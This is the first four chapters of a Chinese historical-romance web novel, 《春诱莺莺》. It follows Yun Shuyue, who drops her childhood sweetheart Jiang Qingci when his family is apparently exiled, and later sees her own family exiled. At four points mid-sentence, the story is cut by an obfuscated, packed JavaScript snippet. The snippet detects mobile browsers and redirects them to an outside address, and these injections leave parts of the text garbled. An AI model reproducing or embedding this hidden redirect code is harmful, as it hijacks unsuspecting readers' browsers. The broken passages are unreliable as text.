《春诱莺莺》 1. 第 1 章 芒种时节,京中设雅集。 京中叫得上名的贵女皆聚于此。 香风阵阵的八角亭中,青铜冰鉴上镇着新鲜瓜果。 云舒月隐隐位于众女之首,以她为中心的这个圈子却不是任意哪家贵女都能进得来的。 “云二,听闻你阿兄又上考场了,也不知这次榜上能否有他的名儿。” 众女皆知,云舒月的兄长云鸿祯,这已经是不知第几回上考场了。 云舒月懒懒靠在椅子上,两旁各有一位侍女为她摇扇,“阿兄的前途,自有我父亲替他打点。” 云父靠金银钱财起家,混到如今户部尚书的位置上,直白来说,她云家门楣天生就比这些或是诗礼或是簪缨之族出身的人要低一等。 但云舒月凭借一股狠劲儿,从小塑练德容言功、琴棋书画,早在十四岁时就以一手琴技名冠京城,名声位居众女之首。 众女不得不服她。 她下颌微扬,美得夺目而张扬,至于她父亲要如何打点她那甚至考不上举人的兄长的仕途,不需要明说众女也知道。 又有女说:“听闻远居雍州的肃国公就要携家眷返京,不日便要到了,也不知肃国公家的嫡女是何等风采。” 云舒月樱唇嚼着口中的西瓜,并未说话,她坐到如今的位置上,又得了太皇太后与太后亲口赞扬的“京中贵女表率”的称号,已是用尽了全力。 有人小声道:“倒是听闻,那肃国公嫡女,心悦于江三公子呢。” 此言一出,众女不由得悄然打量起云舒月的神色来。 谁人不知,云二与江三公子,自小就站在一处,唱惯了青梅竹马的戏码。 不过说到底,这不也还没定亲呢么。 江三公子何等人物,国公府要盯上他做女婿也不奇怪。 云舒月神情微滞,她行至此,走的最漂亮的一步就是趁着年纪还小时结交了江清辞。 若是换作现在,少男少女们结交起来都要论出身的年纪了,她还未必能与江清辞站到一处去。 他们二人自小无猜的情分不浅,若能顺利与他将婚事定下,她此生还有何可愁。 如今是京中贵女表率,等做了江氏一族的当家夫人,她照样是京中贵妇表率。 一想到这儿,她唇角微微勾起来,笑容从嘴角漫至眼眸,眉梢眼角皆是藏不住的惬意。 姚凝静见她这样,便问道:“云二,你笑得这样开心,莫不是已与江家商定了婚事?” 瞧她平日里高昂着脖颈的模样,在婚事议定之前,她云舒月还什么也算不上的。 云舒月抿唇并不语,两腮倒是泛起红晕。 这便是默认的意思。 众女瞪大了眼,好事还真全都让她赶上了,瞧她这副模样,就连阳光透过树叶洒在她身上的光影都是那么合适。 云舒月轻咬舌尖,虽说私下里自家已与江家约定好了上门提亲的日子,可毕竟事情还没真正定下来。 她眨眨眼,长睫在眼睑下投下暗影,没办法呀,她再怎么给自己冠上名头,也没有江家未来夫人这个名头来得有重量。 再说了,话是姚凝静说的,她可一个字也没说。 众女聚在一起,比父兄,比才名,比未来的夫婿,若是今日的话题里比过了其他人,便能换来长久的舒爽心情。 若是没比过……就当她白活这半生了。 “没听闻江家上云家提亲了呀。” 江家门槛足足比云家高出十八阶,一个是清流世家,一个满屋子铜臭味,就算二人青梅竹马,云舒月也没那么容易想攀上江家。 云舒月本就没打算把话说清楚,经不住有人刨根问底。 就在此时,雅集另一侧的一行公子走了过来。 时下民风开放,像这样的雅集,公子小姐们凑在一处说说话也是有的。 “你们今日可作出了什么诗?也拿出来品鉴品鉴。” 为首的林五公子风流倜傥,折扇一挥,率先开口。 云舒月抬眼望去,几位公子侧身,现出身后身着淡蓝色长衫的江清辞来。 她坐直了身子,再不懒懒靠在椅背上,手中叉着西瓜的银叉也换成了狼毫小笔。 几笔挥洒下去,一首五言小诗便呈现出来。 众公子侧身让路,有叫江清辞为首的意思,他虽无意,但也淡然行至最前方。 云舒月心里满足,她为自己挑的是最好的郎君。 这时偏有女问:“江三公子,听说你与云二小姐定亲啦,先恭喜了。” 姚家的小姐眨了眨眼,云舒月咬碎了一口银牙。 刚刚的默认给自己脸面涨得厉害,现在正主来了,江清辞若是矢口否认,她的脸皮在两边都不好放。 江清辞朝她这边看过来,她脸面上烧得厉害,只当是夏日晒红了脸,望向郎君时,微微上扬的眼角,挺直的脖颈,像只优雅的天鹅。 听了姚凝静那话,众人一阵错愕,还不待江清辞开口,云舒月拿起桌上小诗,笑容清冷,“清辞哥哥,我这诗里有个字还拿不准的,你来替我琢磨琢磨。” 听她开口,江清辞便往她那儿去,姚凝静的话落了空,既没得到肯定,也没得到否定。 眼下两位正主凑在一起作诗,一个郎才一个女貌,登对极了,谁还会揪着刚刚的问题一直问。 云舒月心里忐忑,好在江清辞没特意去解释那话,这是给她留面子的意思。 她盯着诗作上特意空出来的一个字眼,江清辞躬身在她身旁,声音温润醇厚:“不如填此字。” 他在纸面空白处写下一个字,远看去,与云舒月之间举止亲昵,谁还看不出来他们之间的关系。 姚凝静自讨了个没趣。 江三公子很给云二面子。 云舒月将字填了进去,没急着读诗,她抬眼望了江清辞一眼。 她生得美,眉眼是远处连绵起伏的青山,眼眸是清澈的溪流,桃腮泛粉。 披纱帛、着衫裙,腰间锦带落地,皓腕执笔,神情娴雅。 面朝旁人时,自是另一番高傲模样。 云舒月知道江清辞喜欢她,自小,从她刻意要与他交好开始,他就从未拒绝过她。 为了让自己在这段交情中保有十足的底气,她在容貌上也下了狠功夫。 好在,功夫没有白费,二人如今也将要定亲了。 待她嫁入江家,她云家也再不是从前的门楣了。 眼下自身名声与未婚夫婿皆是顶尖,云舒月简直想不到自己还有何烦恼。 一行人齐齐往殿内走去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032976|162332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路过一汪池塘,云舒月沿着池边走,忽有天鹅扑水,溅起层层水滴。 她正惊慌想要避让,众女隔得远远的,揣了要看她笑话的心思。 回回都是她长脸,凭什么呢。 就在此时,江清辞快走了两步,挡在了云舒月身侧,将她牢牢护在了内侧,那天鹅溅起的水都扑在了他背上。 有一瞬间,云舒月离他的胸膛近极了,郎君身上的清冽檀香钻进她鼻腔里,与江清辞相处这么久以来,她头一回感触到他的温度和气味。 她不禁在想,抛开别的不谈,江清辞也是一位极好的郎君呢。 二人很快隔开了距离。 “清辞哥哥,你没事吧。” 她从腰间卸下手帕,轻柔上前拂弄。 这一幕,看得众女又是一阵泛酸。 江三公子凭什么就对云舒月那么好,这么多人眼巴巴的仰慕他,他独独青睐云舒月一个。 二人站在一起,倒是浑然天成的一幅画卷。 云舒月微微侧身站在他身侧,肌肤胜雪,纤细腰肢不盈一握。 有内侍快步上前,恭谨道:“江学士,请随奴才到偏殿更衣,已经叫侍卫过来处理这只不听话的天鹅了。” 江清辞拱了拱手:“劳烦公公带路,不过这天鹅……” 他望向云舒月,云舒月知他意思,便道:“公公,生灵无辜,不必再怪罪天鹅。” 公公笑得慈祥:“云二小姐真是心善呐。” 云舒月抿唇微微一笑,做足了贤德姿态。 姚凝静等人也垂下头,要不说都要捧着云舒月呢,人家姿态做得足,皇家别苑里的公公也敬她。 不过说起来,皇上交由户部尚书云明旭建造的这座皇家园林,修得真是漂亮,听说总共花了国库八千万两白银才建成。 就连花窗上镶嵌的宝石,一颗就价值千两。 花窗上的宝石,在阳光下折射出七彩光芒,与云舒月鬓边簪的翡翠交相辉映。 傍晚,云舒月被侍女搀着回到家中,正堂上父亲、母亲、柳氏、王氏、孙氏皆在。 她身姿娉婷,走至父母跟前,“父亲,母亲。” 三位姨娘连同两个庶妹一个庶弟也向她问好。 她是家中最受父亲重视的女儿,她的婚事若能成,她这个女儿,比她嫡兄云鸿祯对家里的价值还要大。 可今日父亲看她的脸色却不太好。 云舒月小心打量父亲神色:“父亲,可是出什么事了?” 云明旭缓缓道:“我们云家走到今日不容易,”又问,“听说你今天当众承认了你与江三的婚事?” 云舒月垂下头,指尖捏着裙摆:“是,父亲。” 那件事情本也已经板上钉钉了,有何说不得的,再说了,她也没明着说,只留下一些耐人寻味的猜测罢了。 她心情很好,今日江清辞待她极好,同她竟比以往还要亲昵许多,想来她失口说了那话也无妨。 云父却道:“今日朝上传出消息,皇上有意处置江家,不日或举家流放黔州,你先不要与江三接触了,这几日,你就待在自己院子里,哪儿也不要去。” 父亲言语里已有恼她的意思,云舒月张了张嘴,那双原本如秋水般平静的眼眸骤然睁大,却什么也没说。 2. 第 2 章 江家江清辞,是她自小听从父亲与母亲安排,刻意接近的男子。 其实她自己对他也十分满意,一想起将来能嫁给江清辞,与他同鸳帐,她心里也是十分期待的。 那时父亲说:“云二生得美,将来定要好好择婿,以我女的容貌,便是将目光放得再高些也不为过。” 一来二去敲定了京里与她适龄的郎君江三公子。 云家敢肖想江家,凭借的底气就是云舒月的容貌。 眼下好不容易大功快要告成了,父亲却说,江家不成了。 从父亲那儿出来,云舒月叫来身边侍女诗筠,“你去打听打听消息,看江家如何了。” 明明今日在别苑里,那内侍还待江清辞极为恭敬。 “是,二小姐。” 打发走了诗筠,刚往前走两步,又有小丫鬟撞上来:“二小姐,账房那边说,出了点小状况,让您过去瞧瞧。” 云舒月长袖微微摆动,眉眼温婉却自带威严:“好,我知道了,这就去。” 自小她就被母亲带在身边教导管家事务,她如今吩咐事务条理清晰,赏罚分明从不拖泥带水,传出了长袖善舞的好名声。 江清辞穿过游廊,进入书房。 祖父与几位伯父都在此。 “皇上已与老夫商议好了,明日旨意就要下来,各房该收拾行李的提早收拾起来,省得明日官兵来了不好做戏。” 小伯江嘉懿比江清辞大不了几岁,还未成婚,一袭白色长衫,浑身气质潇洒,嘴角常挂着一抹温润笑意,对江清辞道: “三侄,皇上的计划提前了,家里现在来不及去替你上门提亲,你先去找云家老二说清楚,要她等你三年。” 祖父皱着眉头:“不好叫她知道,皇上要我江家流放三年,好处理京中剩余的世家势力,万不可让旁人知道我江家是假流放。” 要家里去云家提亲,是江清辞自己要求的。 孙子既喜欢,娶回来也便罢了,至于家中机密,如今还不到能让对方知道的关系。 江清辞薄唇紧抿,檐角下,脸庞犹如精雕细琢的美玉。 有些事情能不能告诉她,他心里有数。 算下来二人也已相处多年,可要论相互了解,他其实并不太了解她,他喜欢她朝他娇俏一笑,也喜欢她唤他“清辞哥哥”,随后提出请求。 而他会照着她的所有请求办,无论是在茶会上单独品了她沏的茶,还是当着所有人的面帮她提来她想吃的糕点。 当她的手帕飘落到他胸膛上,当她的发丝飘飞在他脸颊上,当她的红豆耳环掉落在他马车上……他心里总是高兴的。 尽管一眼就能看穿她的伎俩。 可发丝拂过鼻尖时带来的丝丝痒意,还是让他做下了决定,要母亲替他娶她回来。 “祖父,孙儿去一趟云家吧。” 若是不告诉她一声,她该多担心呀。 江崇礼望了孙儿一眼,言语间透着威严:“你知道该怎么办。” 江清辞垂下头:“是。” 诗筠从外头打听完消息回来了,她作为小姐身边的大丫鬟,常被带着到处见客,相应的,她也结交了许多人家的丫鬟,打听消息甚是方便。 她此时也慌了神,绊着脚进了云舒月的莺栖院。 “二小姐,奴婢打听清楚了,老爷说的那话,怕是真的。” 诗筠跪扑到云舒月跟前,云舒月的躺椅停止了晃动,她将双腿放落地面,塞进绣鞋里,双腿并拢端端坐着,神情恍惚了一阵,又道:“那,那该怎么办呢,诗筠,江家的罪应当落不到咱们头上来吧。” 诗筠抬头看着小姐,皱着眉,小姐少有这般没主意的时候。 “小姐,不会的,江家还未上门提亲,与咱们没有关系。” 诗筠的声音越发小了,这样的事情谁也不想遇见,可她心疼小姐,小姐自小在江三公子身上投注的精力不小,这下前功尽弃了,可怎么办呢。 “那,那小姐,还嫁么?” 云舒月垂下手,手中的丝帕滑落,她的心也跟着空了一块儿。 江家要举家去流放了,她自是不能嫁的了。 可一想起江清辞来,她心中还颇有不舍,流放之路多难呀,也不知金尊玉贵的江三公子该如何走下来。 恰在这时,守府上后门的丫鬟小霜来了,悄声对她道:“二小姐,江三公子来了,奴婢将他引在耳房等您。” 小霜的话语打在她耳朵上,云舒月身姿轻晃了一下。 她有些不知所措,诗筠这时候又进了屋子里一趟,拿出一只绣好的荷包。 “小姐,这是您前些日子托奴婢找绣娘绣的荷包,今日绣娘正好绣好送了过来,您还送吗?” 江三公子就要走了,哪怕两人婚事不成,好歹多年的情谊还在,送个荷包聊表怀念之意也是好的。 再说这荷包本就是给江三公子做的。 眼瞧着递过来的荷包,选用的是上等的湖蓝色绸缎,触手温润,栩栩如生的一只大雁针法细腻入微,精妙极了。 云舒月将它又推了回去,她坐直了身子:“若是要断,还是断干净一些好,不要给人留下余念。” “小姐思虑周全。” 诗筠垂头拿着荷包退下。 云舒月站起身,身姿笔挺而优雅,弯弯的柳眉下是一双明亮而聪慧的眼眸,耳畔,一对珍珠耳坠轻轻晃动,珍珠圆润,光泽柔和。 暮色渐浓,屋檐边的天被染成一片瑰丽的橙红色,余晖洒在这片庭院里,云舒月抬眸望去,江清辞身着素衣,静静伫立在树下,身影被拉得很长。 他想说,若是她愿意等他回来,三年之后给她的三书六礼、凤冠霞帔,必不会少,若是她不愿意等他,也没关系,他只是想再来看一眼她,祝她前程顺利。 他知道,她的眼睛会弯成月牙儿,眼眸中会闪着灵动的光,然后唤他:“清辞哥哥。” 就是为了她的那声“清辞哥哥”,他一次又一次地来见她,来达成她的所愿。 他将来也要用锦衣华服、金玉宝石来包裹她,托举她到让所有人艳羡的地步。 身后传来一阵轻盈的脚步声,他垂下眼眸,缓缓转身。 云舒月踏入庭院,月白色罗裙曳地,被风吹得轻晃,犹如池中月。 他没能看到心心念念的笑容,她面庞白皙无色,冷冽而淡漠。 江清辞从没见过这样的云舒月。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032977|162332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她的视线触及他,步伐踏得不紧不慢。 “你找我何事。”云舒月开口,声音清冷。 公子面庞宛如被霜雪轻抚过一半,眉梢上扬,带着一丝与生俱来的矜贵,高挺鼻梁下是一张薄唇,此时微微抿起,显出一分疏离。 他的目光落在云舒月身上,轻轻皱了眉,满腔的话没说出口,只余下一句:“照顾好自己。” 云舒月看到一片花瓣落在他肩上,他皱了眉头,伸手轻轻拂去,那动作轻柔而优雅,手指修长而白皙,骨节分明,更显清冷与高贵。 她堪堪撇开头,江三公子真是叫人忍不住为之侧目。 她深吸了一口气,道:“江清辞。” “嗯。”他的语调平稳而淡然,没有丝毫起伏与波澜。 “我们本也不是很熟,以后还是别再来往了。” 声音不大,却清晰可闻,穿透空气。 江清辞站立得笔直,他从未受过这样的辱没。 他眨眼望着地上的枯叶,眉头极轻微地蹙了一下,强压下胸中愠怒。 她何必这样说,倒像是他要缠着她似的。 许久,“这样,也好,”他缓缓迈着沉稳的步伐出了云家。 他的声音温润中透着些许的疏离冷淡,云舒月恍然发觉,自己也许久未听过他这般声线了。 也是头一回知道,不再受江清辞的偏爱是什么滋味。 他的衣摆淡漠扫过云府的门槛,卷动着尚未清扫干净的枯叶,腰间坠下的锦带曳地,矜贵背影烙印在她眼眸里。 暮色像浓稠的墨汁,缓缓在天际晕染开来,云舒月回过神来,呆滞望向窗外,眼神空洞而迷茫。 诗筠在一旁打着络子,见小姐心情不好,不经意地道:“小姐,肃国公一家要进京,听闻肃国公家的公子也很是不凡呢,就是……”虽是国公府,门第还是赶江家要差一些。 江清辞阔步穿过雕花回廊,脊背依旧挺直,肩膀却微微紧绷,神色平静,薄唇紧抿,双眸仿若幽渊,带着几分冷峻。 行至转角,祈言从一侧撞出来,江清辞皱了眉头:“你有何事?” 祈言指了指书房内,书桌上放着厚厚一沓纸张,“公子,都察院搜查来的东西,要呈到御前,被次辅拦下来了,说交由您决定,是否呈到御前去。” 江家得了皇上的令,明日或就要上路了,今天夜里府内格外平静。 “公事公办便是。” 他眉眼低垂,沉默着走过祈言,带起了一阵风掀起祈言的衣袍。 “公子……是云家的事情。” 随后他眼睁睁看着公子那沉稳的步伐打了个转,进书房拿起了那一沓纸,面容十分冷。 这上头陈述的是户部尚书云明旭“账目亏空”之罪,在皇家园林的修建中收买官吏、虚假开支…… 祈言道:“公子,这事儿您也没必要再管,云家女无情,您也无需有义。” 江清辞转头看他:“你是怎么知道的。” 祈言挠了挠头,“在您走后,云家已经当众澄清了,说云三小姐与您无任何关系。” 他害怕公子生气,小心翼翼看着,却见公子拿着那一沓写了罪状的纸张,反手放在灯烛上点燃了。 3. 第 3 章 “云家人的做派,实在是辱没公子!” 祈言跺着脚,很是不忿。 “若要与公子断了联系,咱们江家自然是拖累不了他们,何必要那样做呢。” 江清辞无言,直到看着那些呈列着罪状的纸张被火苗吞噬,转头离开。 祈言跟上去道:“公子,您可又帮了云家一次。” “最后一次。”声音冷且可靠,是他在朝堂上一贯的声线。 祈言垂头松了口气,公子看着万万不像是为情所困的人,听他这语气,应当是放下了。 云舒月无力斜倚在美人榻上,心绪颇为烦闷,本想着事情她与江清辞私底下解决了也就罢了,父亲倒好,非要当众宣告。 榻边,四名侍女围绕着她屈膝而跪,动作舒缓且稳,从暖炉中温过的羊脂玉瓶中取出精油,沿着肌肤一寸一寸的揉捏。 揉至酸胀处,惹得云舒月轻哼一声,随后又全心沉浸下去。 诗筠道:“小姐,这事儿也怪不着您,您也别太自责了,这世道啊,落井下石的人多了去了,咱们还算好的,只是撇清关系而已。” 燕窝递到嘴边,云舒月樱唇一张,将一勺子的燕窝吸溜进去,“我没有自责,我只是……唉,有点不舍他。” 可她更不舍这锦衣玉食。 诗筠道:“索□□情也已经做了,小姐往前看吧。” 日头极盛的一天,大街小巷皆是唏嘘,昔日高门轰然倒塌,怎能不叫人感慨。 “江家今日凌晨已经上路了,皇上派了三队兵马押送。” “可怜江阁老一把年纪,黔州遥远又艰苦,走下来这趟怕是活不成了。” 旁人忙捂嘴道:“江家已是罪臣之身,不可再尊称阁老。” 与此同时,京城东郊的一处别苑里,彩绸飘飘,繁花似锦。 公子小姐们又聚于一处,云舒月带着面纱隐在纱屏后,双手已抚在琴上做好准备。 肃国公家的公子,名为苏池逸,是骑着一匹矫健的黑鬃马来的。 他妹妹苏樱,面庞圆润,眼睛也圆,皮肤白皙,打扮得像一朵娇艳牡丹。 今日这局是专为肃国公家的两位同辈设的,主欢迎之意。 京里贵人多,大家凑在一起,光是来回行礼也要行上好半晌。 在那两人走近之前,且在那一轮见礼加寒暄开始之前,琴音空灵响起,状若无意,就像是一群人本就在此听云舒月弹琴一样。 云舒月行云流水地拨动琴弦,指法轻柔,音律缓缓流淌,长长的睫毛随着动作颤动,高挺琼鼻被面纱掩住。 弦忽的挣断了,跳起来的琴弦打在她手背上,她吃痛,忍着没叫出声。随之,琴音也跟着绷住极刺耳的一声。 一曲未终,她缓缓抬眸,恰好一阵风吹开她的面纱,一双潋滟的桃花眼瞳仁黑亮,眼角微微上扬。 众人皆围着她,包括刚刚到场的苏氏兄妹。 云舒月又一次,如她所愿的,成为了所有人目光的聚焦点。 还是诗筠说得对,要往前看,江清辞走后,一点也没给她伤心的时间,迅速筹备起新的行动来了,如今计划一切顺利。 她唇角绽出笑容,起身盈盈行了一个大礼,论身份,她的礼做得到位极了,身子蹲得很低,但风头,她是绝不让的,抬眸时,美得惊心动魄。 “臣女见过世子,苏小姐。” 苏樱才十四岁,还未被皇上下旨封为县主。 本是一直心不在焉的,见了眼前朝她见礼的漂亮小姐,苏樱抿唇回了她一个笑,两颊的肉嘟起来,笑得娇憨。 “你好呀,云小姐。” 她昨日求了爹爹一整晚,叫爹爹进宫为江家求情,她自小时候见过江三公子一眼,深为他风采折服,也不相信皇上安在江家身上的罪状。 她反复说,反复说:“江伯伯和江三公子那样好的人,怎会结党营私、欺君罔上。” 她不聪明,年纪也小,许多事情看不明白,被肃国公叫着解释了多次,仍是认死理,在江家走后,哭红了一双眼。 现在眼皮还微微红肿着,眼眸里像蒙着层雾气。 云舒月本还对这位肃国公之女抱着些敌意,苏樱自小仰慕江三公子的事情所有人都知道,云舒月高低要打量打量她比不比得过自己,可一对上这双圆滚滚的眉眼,她忽的没了脾气。 可惜江清辞已经不在了,也没必要跟她比什么,便启唇而笑,笑意从眼角眉梢弥漫开来。 漂亮姐姐笑得明艳,叫人移不开眼,苏樱楞楞的,被她拉入了局中。 云舒月浸淫贵女圈子多年,要拉拢谁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032978|162332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定是叫人感受到十足的友好情意。 “往后有苏小姐与我们一起玩,真是太好了。” 偏有一个姚凝静不接她的招,朝苏家兄妹说道:“你们刚进京,别见怪,云二她就是喜欢出风头,才叫你们刚来,倒被忽视了,都听她的琴去了。” 云舒月紧咬银牙,又恨死姚二了,往常她总能借江清辞出风头,今日却只能靠自己,想想还怪心酸的。 也不知江清辞他们走到哪儿了,还怪想他的。 她吸了吸鼻子,又端坐直了腰肢,准备重振旗鼓。 “是,我的琴也不过是班门弄斧,咱们这里,姚二的琴才是最出色的,苏小姐,叫你姚二姐姐弹首曲子给你听听。” 京外三百里的李渡坝,三队腰佩长刀的骑兵,队列整齐划一,队首身着红色甲胄的首领翻身下马,走至阁老跟前,坚定有力地单膝跪地,抱拳道:“阁老您受累了,现在卑职就让人给你们解枷。” “无碍,我等全力配合皇上安排。” 江家众人被解了枷,又有一列兵士抬着软轿出现。 江清辞搀着祖父登上软轿,三队兵马层层包围着,待江家所有人重新整顿好了后,这才重新上路,朝着偏远的黔州而去。 江嘉懿骑着黑鬃马行至江清辞身边,“三侄,心情不好?” 他扔给他一袋水囊,叫他喝点水。 江清辞接住水囊,撇了小伯一眼,见他笑得灿烂,努嘴问道:“你笑什么?” “笑你被女人伤了心,瞧你这幅心不在焉的模样。” 江清辞骑在马上,撇开头,冷淡道:“我没有。” 声音有些低沉沙哑。 江嘉懿偷笑,清楚侄子心里难受,便道:“你别急,云家人马上就会来陪咱们了。” 他拍了拍侄子的肩,一副安慰他的模样。 江清辞拧着眉回头:“你什么意思?” “你不是舍不得云家老二吗,你不知道新回京的苏池逸,这次回去,就是为了搞云家的,我留了人在京城,到时候偷偷运作一下,叫皇上把云家流放到黔州来修行宫。” 江嘉懿朝侄子眨了眨眼,一双俊逸的桃花眼灼灼有神。 江清辞愣了半晌,差些想打马回京,踌躇了一会儿,头一转,重新跟上了流放的队伍。 4. 第 4 章 “你多此一举了,我与她已毫无关系。” 声音低沉又带些哑。 江嘉懿觉得三侄的背影有些沧桑,驾驶马儿又快走了两步到他身边:“那你的意思是,我现在就叫人回去制止安排,好叫云家人别被流放到黔州来?” 江清辞抓着缰绳的手一滞,微风将他的白衣翻卷,又吹散他额前几缕碎发,露出一双复杂又无奈的眉眼。 以云明旭的罪状,皇上若要发落云家人,流放黔州都算轻的,来黔州也好。 江嘉懿头一回见到自己这位三侄一双眉头皱成这副模样。 “到底要我怎么做,你倒是说呀。” 江清辞回过头,小伯一副就等他下令的模样,大手一挥,就要叫人回去办这事儿。 他那张极难张开的嘴被风吹得干涩,但还是张开说了句:“你都已经多此一举了,还有必要多此两举吗。” “为她这样来来回回的,倒显得我们家多在意她似的。” 话音落下,江清辞打马往队伍中心走去,将小伯一人撇在身后。 江嘉懿听见一句没有什么温度的话从风中飘过来:“祖父近日正为新政推行的事情烦忧,小伯比起费心女人的事情,也该学会为祖父分忧了。” 待他听清这话,伸手想拉住三侄,对方已经到队伍中心去了,那里有象征着江家权力重心的几个人。 江嘉懿不敢过去,摇了摇头,轻嗤一声:“装模作样,真是年少无知。” 逶迤拖地的裙摆绣着浅粉蔷薇,如墨般柔顺的发松松挽成髻,耳上一对珍珠耳坠轻轻晃动,耳垂圆润精致,她的眉头轻蹙,美目含忧。 云舒月在府中休憩,靠在软垫上,纤细手指随意搭在榻边,身旁侍女捧着一只檀木盒。 诗筠轻轻握住她的手,将其浸入温水中。 “小姐,怎么皱着眉头?”诗筠小声问道,眼神中满是恭敬与小心。 云舒月微微皱眉,轻哼一声,只道:“今日水中的香气淡了些。” “小姐是不是想念江三公子了?” 被戳破了心思,云舒月瞪了诗筠一眼。 “好歹也是那么多年的感情,话虽说得绝情了些,情却不是那么容易断的。”诗筠安慰道。 云舒月抬起一只被养护得细嫩的手仔细瞧着,叹道:“郎君实在芝兰玉树,叫人轻易放不下,真是好可惜啊。” 待清洗完毕,诗筠用小勺从檀木盒中舀出些许羊乳蜜膏,轻轻涂抹按摩起来。 另一只手则交于另一位名为锦夏的小丫鬟。 “嘶~”云舒月极轻地哼了一声,把手缩回了一些,锦夏两手一抖,跪伏了下去。 诗筠忙道:“小姐,怎么了?新来的丫鬟毛手毛脚的,还不快下去!”她侧头看向锦夏。 云舒月抬眸望向锦夏,叫她把手递过来。 锦夏哆嗦着把手递过去,原是指尖上生了些死皮和倒刺,云舒月冷眸看着,有些生气,什么样的手也能往她皮肤上刮。 “还不快下去好好将双手护理一番,再到我这里伺候。” 这时又有人来传,说苏樱小姐来了。 这位到云家来,可称得上是贵客。 云明旭远远看着肃国公家的嫡女往莺栖院而去,在他身旁的夫人腰板挺得又直了些,缓缓道:“就是没了江清辞,舒月也是咱们家中最争气的孩子。” 云舒月起身笑脸迎了苏樱:“苏妹妹,今日找我何事。” 苏樱递出手上画卷,将其平铺在桌案上。 见到画卷左下方熟悉的印章,云舒月笑意僵在唇角。 “云姐姐,听闻你与江三公子素来交好,可否帮我看看这幅画作。” 云舒月张了张唇,首先想要反驳她这第一句话。 苏樱看着她,脸颊上有一对浅浅的酒窝,对她充满了好奇与友善。 “这是江清辞的画。” 苏樱点点头,指着画上一处空白道:“我偶然得到这幅画,但这上面提的诗明显少了一句,读起来不通畅,我本想亲自拿着找江三公子解惑,可江三公子如今已经不在了,我思来想去,或许你能帮我填了这空白的诗句。” 撞进苏樱又黑又亮的眼眸里,云舒月忽然认真看向桌上画作,想起了那个遥远的下午。 青瓷瓶中插着几支新折的茉莉,两名女子对坐,一着淡粉,一袭黄衫,她们的声音低柔。 “云姐姐,你与江三公子这样交好,这般感情叫人羡慕不来。” 云舒月没想过现在还会有人羡慕她与江清辞,久违的舒爽感又浮上心头。 “可是,他如今走了,你就不想他么?” 苏樱歪着头,一脸天真与诚恳。 云舒月怔怔望着苏樱,拂过的风带起她鬓边一缕发丝。 “想啊,想的。” 自江清辞走后,她马不停蹄思虑起自己接下来的前程,哪有空想他,她年岁不小了,若不好好谋划,往后该怎么办呐。 好在苏世子给了她回应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032979|162332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,邀她初三京郊踏青。 京里最炙手可热的郎君永远围着她转。 这天一早,云舒月用了新到的胭脂和眉黛,又穿了自己最心爱的一条烟紫色罗裙,银线勾勒的缠织花纹,裙腰处坠着珍珠,为保证行走时裙摆处翻起的如花朵绽放一般的美感,裙摆层层叠叠地叠了很多层,对于夏日来说有些厚重。 到了郊外,夏意正浓,苏池逸寻了一处草地,铺开素帕,邀她坐下。 竹篮里装着几样可口的点心,还有一壶清茶。 二人相对而坐,试图谈诗论画,却颇不契合。 云舒月忽然很想江清辞,看着苏世子朝她笑的模样,她差些想掉头就走。 江清辞比他好看百倍千倍。 如果此时与她相对而坐的是江清辞就好了,她从未有一刻像这般渴望过,真的与江清辞结成连理,相依相偎,白头到老…… 苏池逸忽的开口道:“云二小姐,祝你们一家一路平安。” 她听见山脚下响起隆重的一阵官兵行走的声音,猛地站起身,她想起了苏樱来自己家的那一日。 苏池逸脸上只有不怀好意的戏谑,从前的热切都是作假,云舒月倒退了几步,险些跌倒在地。 随后提裙转身,仓皇朝山下奔去。 她从一开始就不该对任何男人抱有期待,自己着了苏池逸的道,许是因为内心太过急切,仔细一想,这段时日,竟还未从他身上得到过一分好处,自己的底细倒是被扒了个干净。 就像江家离开的那日一样,今日的云家,也被官兵团团围住了。 “……流放黔州,家产充公,钦此!” 还未靠近,云舒月听见了哭声、喊声、斥骂声。 阿兄捂着流血的嘴角想抵抗,又被人掀翻在地。 